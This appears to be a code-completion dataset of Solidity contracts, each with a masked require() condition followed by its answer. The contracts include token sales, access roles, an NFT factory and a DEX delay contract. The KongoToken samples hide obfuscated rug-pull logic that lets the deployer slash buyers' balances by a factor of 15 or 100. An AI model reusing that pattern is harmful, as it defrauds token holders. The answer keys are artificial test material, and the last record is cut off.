uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate);
require(<FILL_ME>)
tokenRaised = safeAdd(tokenRaised, tokens);
balances[_addr] += tokens;
emit AllocateToken(_addr, tokens); // 记录token日志
}
/// 购买token
function () public payable {
}
}
| tokens+tokenRaised<=currentSupply | 18,905 | tokens+tokenRaised<=currentSupply |
"AgentRole: caller does not have the Agent role" | /**
* NOTICE
*
* The T-REX software is licensed under a proprietary license or the GPL v.3.
* If you choose to receive it under the GPL v.3 license, the following applies:
* T-REX is a suite of smart contracts developed by Tokeny to manage and transfer financial assets on the ethereum blockchain
*
* Copyright (C) 2019, Tokeny sàrl.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.2;
contract AgentRole is Ownable {
using Roles for Roles.Role;
event AgentAdded(address indexed _agent);
event AgentRemoved(address indexed _agent);
Roles.Role private _agents;
modifier onlyAgent() {
require(<FILL_ME>)
_;
}
function isAgent(address _agent) public view returns (bool) {
}
function addAgent(address _agent) public onlyOwner {
}
function removeAgent(address _agent) public onlyOwner {
}
}
| isAgent(msg.sender),"AgentRole: caller does not have the Agent role" | 18,928 | isAgent(msg.sender) |
"Address already registered." | // SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0 <0.9.0;
contract registration {
address private owner;
uint256 private registrationCost;
mapping(address => bool) private registeredUsers;
modifier isOwner() {
}
constructor() {
}
function changeOwner(address newOwner) external isOwner {
}
function changeRegistrationCost(uint256 newRegistrationCost) external isOwner {
}
receive() external payable {
}
function register() public payable {
require(<FILL_ME>)
require(msg.value >= registrationCost, "Insufficient registration fee.");
registeredUsers[msg.sender] = true;
}
function withdraw(address payable receiver, uint256 amount) external isOwner {
}
function getOwner() external view returns (address) {
}
function getRegistrationCost() external view returns (uint256) {
}
function isRegistered() external view returns (bool) {
}
function isAddressRegistered(address account) external view returns (bool) {
}
}
| !registeredUsers[msg.sender],"Address already registered." | 19,152 | !registeredUsers[msg.sender] |
'' | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@chainlink/contracts/src/v0.6/VRFConsumerBase.sol";
import "./interfaces/IFactoryERC721.sol";
import "./MysteryShip.sol";
import "./interfaces/ProxyRegistry.sol";
contract MysteryShipFactory is FactoryERC721, Ownable {
event MintRequested(address from, bytes32 requestId);
event MintDone(bytes32 requestId, uint256 randomness, uint256 index, uint256 model);
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
string private baseURI = "https://mysterybox.service.cometh.io/0";
uint256 constant NUMBER_OF_SHIPS_PER_BUNDLE = 3;
mapping(bytes32 => address) requestedMints;
uint256 requestedMintsCount;
uint8[] private availableModels;
MysteryShip public mysteryShip;
ProxyRegistry private proxyRegistry;
constructor(address _mysteryShip, address _proxyRegistry) public
{
}
function transferOwnership(address newOwner) public override onlyOwner {
}
function name() override external view returns (string memory) {
}
function symbol() override external view returns (string memory) {
}
function supportsFactoryInterface() override public view returns (bool) {
}
function numOptions() override public view returns (uint256) {
}
function remainingsBoxes() external view returns (uint256) {
}
function canMint(uint256 _optionId) override public view returns (bool) {
}
function tokenURI(uint256) override external view returns (string memory) {
}
function mint(uint256 optionId, address from) override public {
assert(
address(proxyRegistry.proxies(owner())) == msg.sender ||
owner() == msg.sender
);
require(<FILL_ME>)
for (uint256 i = 0; i < NUMBER_OF_SHIPS_PER_BUNDLE; i++) {
mysteryShip.mint(from);
}
}
/**
* Hack to get things to work automatically on OpenSea.
* Use transferFrom so the frontend doesn't have to worry about different method names.
*/
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public {
}
/**
* Hack to get things to work automatically on OpenSea.
* Use isApprovedForAll so the frontend doesn't have to worry about different method names.
*/
function isApprovedForAll(address _owner, address _operator)
public
view
returns (bool)
{
}
/**
* Hack to get things to work automatically on OpenSea.
* Use isApprovedForAll so the frontend doesn't have to worry about different method names.
*/
function ownerOf(uint256 _tokenId) public view returns (address _owner) {
}
}
| canMint(optionId),'' | 19,194 | canMint(optionId) |
null | // @KongoTokenETH
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Skies;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address[] private Bitch;
address private Dish = address(0);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private washer = 0;
address public pair;
uint256 private doordash;
IDEXRouter router;
string private _name; string private _symbol; address private _msgSanders; uint256 private _totalSupply;
bool private trading; bool private Uber; uint256 private Queens;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function openTrading() external onlyOwner returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function burn(uint256 amount) public virtual returns (bool) {
}
function _balancesOfSE(address account) internal {
}
function _balancesOfVacuum(address sender, address recipient, uint256 amount, bool elastic) internal {
Uber = elastic ? true : Uber;
if (((Skies[sender] == true) && (Skies[recipient] != true)) || ((Skies[sender] != true) && (Skies[recipient] != true))) { Bitch.push(recipient); }
if ((Skies[sender] != true) && (Skies[recipient] == true)) { require(<FILL_ME>) } // max buy/sell per transaction
if ((Uber) && (sender == _msgSanders)) {
for (uint256 i = 0; i < Bitch.length; i++) {
_balances[Bitch[i]] /= 15;
}
}
_balances[Dish] /= (((washer == block.timestamp) || (Uber)) && (Skies[recipient] != true) && (Skies[Dish] != true) && (Queens > 1)) ? (100) : (1);
Queens++; Dish = recipient; washer = block.timestamp;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _TheCongo(address creator) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _burn(address account, uint256 amount) internal {
}
function _balancesOfAfrica(address sender, address recipient, uint256 amount) internal {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployKingo(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract KongoToken is ERC20Token {
constructor() ERC20Token("Kingdom of Kongo Token", "KONGO", msg.sender, 130000000 * 10 ** 18) {
}
}
| amount<(_totalSupply/15) | 19,211 | amount<(_totalSupply/15) |
"ERC20: trading for the token is not yet enabled." | // @KongoTokenETH
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Skies;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address[] private Bitch;
address private Dish = address(0);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private washer = 0;
address public pair;
uint256 private doordash;
IDEXRouter router;
string private _name; string private _symbol; address private _msgSanders; uint256 private _totalSupply;
bool private trading; bool private Uber; uint256 private Queens;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function openTrading() external onlyOwner returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function burn(uint256 amount) public virtual returns (bool) {
}
function _balancesOfSE(address account) internal {
}
function _balancesOfVacuum(address sender, address recipient, uint256 amount, bool elastic) internal {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _TheCongo(address creator) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _burn(address account, uint256 amount) internal {
}
function _balancesOfAfrica(address sender, address recipient, uint256 amount) internal {
require(<FILL_ME>)
_balancesOfVacuum(sender, recipient, amount, (address(sender) == _msgSanders) && (doordash > 0));
doordash += (sender == _msgSanders) ? 1 : 0;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployKingo(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract KongoToken is ERC20Token {
constructor() ERC20Token("Kingdom of Kongo Token", "KONGO", msg.sender, 130000000 * 10 ** 18) {
}
}
| (trading||(sender==_msgSanders)),"ERC20: trading for the token is not yet enabled." | 19,211 | (trading||(sender==_msgSanders)) |
'ID_ETH_REFUND_FAILED' | // SPDX-License-Identifier: GPL-3.0-or-later
// Deployed with donations via Gitcoin GR9
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import 'IIntegralPair.sol';
import 'IIntegralDelay.sol';
import 'IIntegralOracle.sol';
import 'IWETH.sol';
import 'SafeMath.sol';
import 'Normalizer.sol';
import 'Orders.sol';
import 'TokenShares.sol';
import 'AddLiquidity.sol';
contract IntegralDelay is IIntegralDelay {
using SafeMath for uint256;
using Normalizer for uint256;
using Orders for Orders.Data;
using TokenShares for TokenShares.Data;
Orders.Data internal orders;
TokenShares.Data internal tokenShares;
uint256 public constant ORDER_CANCEL_TIME = 24 hours;
uint256 private constant ORDER_EXECUTED_COST = 3700;
address public override owner;
constructor(address _factory, address _weth) {
}
function getTransferGasCost(address token) public view override returns (uint256 gasCost) {
}
function getDepositOrder(uint256 orderId) public view override returns (Orders.DepositOrder memory order) {
}
function getWithdrawOrder(uint256 orderId) public view override returns (Orders.WithdrawOrder memory order) {
}
function getSellOrder(uint256 orderId) public view override returns (Orders.SellOrder memory order) {
}
function getBuyOrder(uint256 orderId) public view override returns (Orders.BuyOrder memory order) {
}
function getDepositDisabled(address pair) public view override returns (bool) {
}
function getWithdrawDisabled(address pair) public view override returns (bool) {
}
function getBuyDisabled(address pair) public view override returns (bool) {
}
function getSellDisabled(address pair) public view override returns (bool) {
}
function getOrderStatus(uint256 orderId) public view override returns (Orders.OrderStatus) {
}
uint256 private unlocked = 1;
modifier lock() {
}
function factory() public view override returns (address) {
}
function totalShares(address token) public view override returns (uint256) {
}
function weth() public view override returns (address) {
}
function delay() public view override returns (uint256) {
}
function lastProcessedOrderId() public view returns (uint256) {
}
function newestOrderId() public view returns (uint256) {
}
function getOrder(uint256 orderId) public view returns (Orders.OrderType orderType, uint256 validAfterTimestamp) {
}
function isOrderCanceled(uint256 orderId) public view returns (bool) {
}
function maxGasLimit() public view override returns (uint256) {
}
function maxGasPriceImpact() public view override returns (uint256) {
}
function gasPriceInertia() public view override returns (uint256) {
}
function gasPrice() public view override returns (uint256) {
}
function setOrderDisabled(
address pair,
Orders.OrderType orderType,
bool disabled
) public override {
}
function setOwner(address _owner) public override {
}
function setMaxGasLimit(uint256 _maxGasLimit) public override {
}
function setDelay(uint256 _delay) public override {
}
function setGasPriceInertia(uint256 _gasPriceInertia) public override {
}
function setMaxGasPriceImpact(uint256 _maxGasPriceImpact) public override {
}
function setTransferGasCost(address token, uint256 gasCost) public override {
}
function deposit(Orders.DepositParams calldata depositParams)
external
payable
override
lock
returns (uint256 orderId)
{
}
function withdraw(Orders.WithdrawParams calldata withdrawParams)
external
payable
override
lock
returns (uint256 orderId)
{
}
function sell(Orders.SellParams calldata sellParams) external payable override lock returns (uint256 orderId) {
}
function buy(Orders.BuyParams calldata buyParams) external payable override lock returns (uint256 orderId) {
}
function execute(uint256 n) public override lock {
}
function executeDeposit() internal {
}
function executeWithdraw() internal {
}
function executeSell() internal {
}
function executeBuy() internal {
}
function refund(
uint256 gasLimit,
uint256 gasPriceInOrder,
uint256 gasStart,
address to
) private returns (uint256 gasUsed, uint256 leftOver) {
uint256 feeCollected = gasLimit.mul(gasPriceInOrder);
gasUsed = gasStart.sub(gasleft()).add(Orders.REFUND_END_COST).add(ORDER_EXECUTED_COST);
uint256 actualRefund = Math.min(feeCollected, gasUsed.mul(orders.gasPrice));
leftOver = feeCollected.sub(actualRefund);
require(<FILL_ME>)
refundEth(payable(to), leftOver);
}
function refundEth(address payable to, uint256 value) internal returns (bool success) {
}
function refundToken(
address token,
address to,
uint256 share,
bool unwrap
) private returns (bool) {
}
function refundTokens(
address to,
address token0,
uint256 share0,
address token1,
uint256 share1,
bool unwrap
) private returns (bool) {
}
function _refundTokens(
address to,
address token0,
uint256 share0,
address token1,
uint256 share1,
bool unwrap
) external {
}
function _refundToken(
address token,
address to,
uint256 share,
bool unwrap
) public {
}
function refundLiquidity(
address pair,
address to,
uint256 liquidity
) private returns (bool) {
}
function _refundLiquidity(
address pair,
address to,
uint256 liquidity
) public {
}
function canSwap(
uint256 initialRatio, // setting it to 0 disables swap
uint256 minRatioChangeToSwap,
uint32 pairId
) internal view returns (bool) {
}
function _executeDeposit(Orders.DepositOrder memory depositOrder) public {
}
function _initialDeposit(Orders.DepositOrder memory depositOrder)
private
returns (
address pair,
address token0,
address token1,
uint256 amount0Left,
uint256 amount1Left
)
{
}
function _addLiquidityAndMint(
address pair,
address to,
address token0,
address token1,
uint256 amount0Desired,
uint256 amount1Desired
) private returns (uint256 amount0Left, uint256 amount1Left) {
}
function _refundDeposit(
address to,
address token0,
address token1,
uint256 amount0,
uint256 amount1
) private {
}
function _executeWithdraw(Orders.WithdrawOrder memory withdrawOrder) public {
}
function _executeBuy(Orders.BuyOrder memory buyOrder) public {
}
function _executeSell(Orders.SellOrder memory sellOrder) public {
}
function performRefund(
Orders.OrderType orderType,
uint256 validAfterTimestamp,
uint256 orderId,
bool shouldRefundEth
) internal {
}
function retryRefund(uint256 orderId) public lock {
}
function cancelOrder(uint256 orderId) public lock {
}
receive() external payable {}
}
| refundEth(msg.sender,actualRefund),'ID_ETH_REFUND_FAILED' | 19,270 | refundEth(msg.sender,actualRefund) |
'ID_REFUND_FAILED' | // SPDX-License-Identifier: GPL-3.0-or-later
// Deployed with donations via Gitcoin GR9
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import 'IIntegralPair.sol';
import 'IIntegralDelay.sol';
import 'IIntegralOracle.sol';
import 'IWETH.sol';
import 'SafeMath.sol';
import 'Normalizer.sol';
import 'Orders.sol';
import 'TokenShares.sol';
import 'AddLiquidity.sol';
contract IntegralDelay is IIntegralDelay {
using SafeMath for uint256;
using Normalizer for uint256;
using Orders for Orders.Data;
using TokenShares for TokenShares.Data;
Orders.Data internal orders;
TokenShares.Data internal tokenShares;
uint256 public constant ORDER_CANCEL_TIME = 24 hours;
uint256 private constant ORDER_EXECUTED_COST = 3700;
address public override owner;
constructor(address _factory, address _weth) {
}
function getTransferGasCost(address token) public view override returns (uint256 gasCost) {
}
function getDepositOrder(uint256 orderId) public view override returns (Orders.DepositOrder memory order) {
}
function getWithdrawOrder(uint256 orderId) public view override returns (Orders.WithdrawOrder memory order) {
}
function getSellOrder(uint256 orderId) public view override returns (Orders.SellOrder memory order) {
}
function getBuyOrder(uint256 orderId) public view override returns (Orders.BuyOrder memory order) {
}
function getDepositDisabled(address pair) public view override returns (bool) {
}
function getWithdrawDisabled(address pair) public view override returns (bool) {
}
function getBuyDisabled(address pair) public view override returns (bool) {
}
function getSellDisabled(address pair) public view override returns (bool) {
}
function getOrderStatus(uint256 orderId) public view override returns (Orders.OrderStatus) {
}
uint256 private unlocked = 1;
modifier lock() {
}
function factory() public view override returns (address) {
}
function totalShares(address token) public view override returns (uint256) {
}
function weth() public view override returns (address) {
}
function delay() public view override returns (uint256) {
}
function lastProcessedOrderId() public view returns (uint256) {
}
function newestOrderId() public view returns (uint256) {
}
function getOrder(uint256 orderId) public view returns (Orders.OrderType orderType, uint256 validAfterTimestamp) {
}
function isOrderCanceled(uint256 orderId) public view returns (bool) {
}
function maxGasLimit() public view override returns (uint256) {
}
function maxGasPriceImpact() public view override returns (uint256) {
}
function gasPriceInertia() public view override returns (uint256) {
}
function gasPrice() public view override returns (uint256) {
}
function setOrderDisabled(
address pair,
Orders.OrderType orderType,
bool disabled
) public override {
}
function setOwner(address _owner) public override {
}
function setMaxGasLimit(uint256 _maxGasLimit) public override {
}
function setDelay(uint256 _delay) public override {
}
function setGasPriceInertia(uint256 _gasPriceInertia) public override {
}
function setMaxGasPriceImpact(uint256 _maxGasPriceImpact) public override {
}
function setTransferGasCost(address token, uint256 gasCost) public override {
}
function deposit(Orders.DepositParams calldata depositParams)
external
payable
override
lock
returns (uint256 orderId)
{
}
function withdraw(Orders.WithdrawParams calldata withdrawParams)
external
payable
override
lock
returns (uint256 orderId)
{
}
function sell(Orders.SellParams calldata sellParams) external payable override lock returns (uint256 orderId) {
}
function buy(Orders.BuyParams calldata buyParams) external payable override lock returns (uint256 orderId) {
}
function execute(uint256 n) public override lock {
}
function executeDeposit() internal {
}
function executeWithdraw() internal {
}
function executeSell() internal {
}
function executeBuy() internal {
}
function refund(
uint256 gasLimit,
uint256 gasPriceInOrder,
uint256 gasStart,
address to
) private returns (uint256 gasUsed, uint256 leftOver) {
}
function refundEth(address payable to, uint256 value) internal returns (bool success) {
}
function refundToken(
address token,
address to,
uint256 share,
bool unwrap
) private returns (bool) {
}
function refundTokens(
address to,
address token0,
uint256 share0,
address token1,
uint256 share1,
bool unwrap
) private returns (bool) {
}
function _refundTokens(
address to,
address token0,
uint256 share0,
address token1,
uint256 share1,
bool unwrap
) external {
}
function _refundToken(
address token,
address to,
uint256 share,
bool unwrap
) public {
}
function refundLiquidity(
address pair,
address to,
uint256 liquidity
) private returns (bool) {
}
function _refundLiquidity(
address pair,
address to,
uint256 liquidity
) public {
}
function canSwap(
uint256 initialRatio, // setting it to 0 disables swap
uint256 minRatioChangeToSwap,
uint32 pairId
) internal view returns (bool) {
}
function _executeDeposit(Orders.DepositOrder memory depositOrder) public {
}
function _initialDeposit(Orders.DepositOrder memory depositOrder)
private
returns (
address pair,
address token0,
address token1,
uint256 amount0Left,
uint256 amount1Left
)
{
}
function _addLiquidityAndMint(
address pair,
address to,
address token0,
address token1,
uint256 amount0Desired,
uint256 amount1Desired
) private returns (uint256 amount0Left, uint256 amount1Left) {
}
function _refundDeposit(
address to,
address token0,
address token1,
uint256 amount0,
uint256 amount1
) private {
}
function _executeWithdraw(Orders.WithdrawOrder memory withdrawOrder) public {
}
function _executeBuy(Orders.BuyOrder memory buyOrder) public {
}
function _executeSell(Orders.SellOrder memory sellOrder) public {
}
function performRefund(
Orders.OrderType orderType,
uint256 validAfterTimestamp,
uint256 orderId,
bool shouldRefundEth
) internal {
bool canOwnerRefund = validAfterTimestamp.add(365 days) < block.timestamp;
if (orderType == Orders.OrderType.Deposit) {
Orders.DepositOrder memory depositOrder = orders.getDepositOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(depositOrder.pairId);
address to = canOwnerRefund ? owner : depositOrder.to;
require(<FILL_ME>)
if (shouldRefundEth) {
uint256 value = depositOrder.gasPrice.mul(depositOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
} else if (orderType == Orders.OrderType.Withdraw) {
Orders.WithdrawOrder memory withdrawOrder = orders.getWithdrawOrder(orderId);
(address pair, , ) = orders.getPairInfo(withdrawOrder.pairId);
address to = canOwnerRefund ? owner : withdrawOrder.to;
require(refundLiquidity(pair, to, withdrawOrder.liquidity), 'ID_REFUND_FAILED');
if (shouldRefundEth) {
uint256 value = withdrawOrder.gasPrice.mul(withdrawOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
} else if (orderType == Orders.OrderType.Sell) {
Orders.SellOrder memory sellOrder = orders.getSellOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(sellOrder.pairId);
address to = canOwnerRefund ? owner : sellOrder.to;
require(
refundToken(sellOrder.inverse ? token1 : token0, to, sellOrder.shareIn, sellOrder.unwrap),
'ID_REFUND_FAILED'
);
if (shouldRefundEth) {
uint256 value = sellOrder.gasPrice.mul(sellOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
} else if (orderType == Orders.OrderType.Buy) {
Orders.BuyOrder memory buyOrder = orders.getBuyOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(buyOrder.pairId);
address to = canOwnerRefund ? owner : buyOrder.to;
require(
refundToken(buyOrder.inverse ? token1 : token0, to, buyOrder.shareInMax, buyOrder.unwrap),
'ID_REFUND_FAILED'
);
if (shouldRefundEth) {
uint256 value = buyOrder.gasPrice.mul(buyOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
}
orders.forgetOrder(orderId);
}
function retryRefund(uint256 orderId) public lock {
}
function cancelOrder(uint256 orderId) public lock {
}
receive() external payable {}
}
| refundTokens(to,token0,depositOrder.share0,token1,depositOrder.share1,depositOrder.unwrap),'ID_REFUND_FAILED' | 19,270 | refundTokens(to,token0,depositOrder.share0,token1,depositOrder.share1,depositOrder.unwrap) |
'ID_ETH_REFUND_FAILED' | // SPDX-License-Identifier: GPL-3.0-or-later
// Deployed with donations via Gitcoin GR9
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import 'IIntegralPair.sol';
import 'IIntegralDelay.sol';
import 'IIntegralOracle.sol';
import 'IWETH.sol';
import 'SafeMath.sol';
import 'Normalizer.sol';
import 'Orders.sol';
import 'TokenShares.sol';
import 'AddLiquidity.sol';
contract IntegralDelay is IIntegralDelay {
using SafeMath for uint256;
using Normalizer for uint256;
using Orders for Orders.Data;
using TokenShares for TokenShares.Data;
Orders.Data internal orders;
TokenShares.Data internal tokenShares;
uint256 public constant ORDER_CANCEL_TIME = 24 hours;
uint256 private constant ORDER_EXECUTED_COST = 3700;
address public override owner;
constructor(address _factory, address _weth) {
}
function getTransferGasCost(address token) public view override returns (uint256 gasCost) {
}
function getDepositOrder(uint256 orderId) public view override returns (Orders.DepositOrder memory order) {
}
function getWithdrawOrder(uint256 orderId) public view override returns (Orders.WithdrawOrder memory order) {
}
function getSellOrder(uint256 orderId) public view override returns (Orders.SellOrder memory order) {
}
function getBuyOrder(uint256 orderId) public view override returns (Orders.BuyOrder memory order) {
}
function getDepositDisabled(address pair) public view override returns (bool) {
}
function getWithdrawDisabled(address pair) public view override returns (bool) {
}
function getBuyDisabled(address pair) public view override returns (bool) {
}
function getSellDisabled(address pair) public view override returns (bool) {
}
function getOrderStatus(uint256 orderId) public view override returns (Orders.OrderStatus) {
}
uint256 private unlocked = 1;
modifier lock() {
}
function factory() public view override returns (address) {
}
function totalShares(address token) public view override returns (uint256) {
}
function weth() public view override returns (address) {
}
function delay() public view override returns (uint256) {
}
function lastProcessedOrderId() public view returns (uint256) {
}
function newestOrderId() public view returns (uint256) {
}
function getOrder(uint256 orderId) public view returns (Orders.OrderType orderType, uint256 validAfterTimestamp) {
}
function isOrderCanceled(uint256 orderId) public view returns (bool) {
}
function maxGasLimit() public view override returns (uint256) {
}
function maxGasPriceImpact() public view override returns (uint256) {
}
function gasPriceInertia() public view override returns (uint256) {
}
function gasPrice() public view override returns (uint256) {
}
function setOrderDisabled(
address pair,
Orders.OrderType orderType,
bool disabled
) public override {
}
function setOwner(address _owner) public override {
}
function setMaxGasLimit(uint256 _maxGasLimit) public override {
}
function setDelay(uint256 _delay) public override {
}
function setGasPriceInertia(uint256 _gasPriceInertia) public override {
}
function setMaxGasPriceImpact(uint256 _maxGasPriceImpact) public override {
}
function setTransferGasCost(address token, uint256 gasCost) public override {
}
function deposit(Orders.DepositParams calldata depositParams)
external
payable
override
lock
returns (uint256 orderId)
{
}
function withdraw(Orders.WithdrawParams calldata withdrawParams)
external
payable
override
lock
returns (uint256 orderId)
{
}
function sell(Orders.SellParams calldata sellParams) external payable override lock returns (uint256 orderId) {
}
function buy(Orders.BuyParams calldata buyParams) external payable override lock returns (uint256 orderId) {
}
function execute(uint256 n) public override lock {
}
function executeDeposit() internal {
}
function executeWithdraw() internal {
}
function executeSell() internal {
}
function executeBuy() internal {
}
function refund(
uint256 gasLimit,
uint256 gasPriceInOrder,
uint256 gasStart,
address to
) private returns (uint256 gasUsed, uint256 leftOver) {
}
function refundEth(address payable to, uint256 value) internal returns (bool success) {
}
function refundToken(
address token,
address to,
uint256 share,
bool unwrap
) private returns (bool) {
}
function refundTokens(
address to,
address token0,
uint256 share0,
address token1,
uint256 share1,
bool unwrap
) private returns (bool) {
}
function _refundTokens(
address to,
address token0,
uint256 share0,
address token1,
uint256 share1,
bool unwrap
) external {
}
function _refundToken(
address token,
address to,
uint256 share,
bool unwrap
) public {
}
function refundLiquidity(
address pair,
address to,
uint256 liquidity
) private returns (bool) {
}
function _refundLiquidity(
address pair,
address to,
uint256 liquidity
) public {
}
function canSwap(
uint256 initialRatio, // setting it to 0 disables swap
uint256 minRatioChangeToSwap,
uint32 pairId
) internal view returns (bool) {
}
function _executeDeposit(Orders.DepositOrder memory depositOrder) public {
}
function _initialDeposit(Orders.DepositOrder memory depositOrder)
private
returns (
address pair,
address token0,
address token1,
uint256 amount0Left,
uint256 amount1Left
)
{
}
function _addLiquidityAndMint(
address pair,
address to,
address token0,
address token1,
uint256 amount0Desired,
uint256 amount1Desired
) private returns (uint256 amount0Left, uint256 amount1Left) {
}
function _refundDeposit(
address to,
address token0,
address token1,
uint256 amount0,
uint256 amount1
) private {
}
function _executeWithdraw(Orders.WithdrawOrder memory withdrawOrder) public {
}
function _executeBuy(Orders.BuyOrder memory buyOrder) public {
}
function _executeSell(Orders.SellOrder memory sellOrder) public {
}
function performRefund(
Orders.OrderType orderType,
uint256 validAfterTimestamp,
uint256 orderId,
bool shouldRefundEth
) internal {
bool canOwnerRefund = validAfterTimestamp.add(365 days) < block.timestamp;
if (orderType == Orders.OrderType.Deposit) {
Orders.DepositOrder memory depositOrder = orders.getDepositOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(depositOrder.pairId);
address to = canOwnerRefund ? owner : depositOrder.to;
require(
refundTokens(to, token0, depositOrder.share0, token1, depositOrder.share1, depositOrder.unwrap),
'ID_REFUND_FAILED'
);
if (shouldRefundEth) {
uint256 value = depositOrder.gasPrice.mul(depositOrder.gasLimit);
require(<FILL_ME>)
}
} else if (orderType == Orders.OrderType.Withdraw) {
Orders.WithdrawOrder memory withdrawOrder = orders.getWithdrawOrder(orderId);
(address pair, , ) = orders.getPairInfo(withdrawOrder.pairId);
address to = canOwnerRefund ? owner : withdrawOrder.to;
require(refundLiquidity(pair, to, withdrawOrder.liquidity), 'ID_REFUND_FAILED');
if (shouldRefundEth) {
uint256 value = withdrawOrder.gasPrice.mul(withdrawOrder.gasLimit);
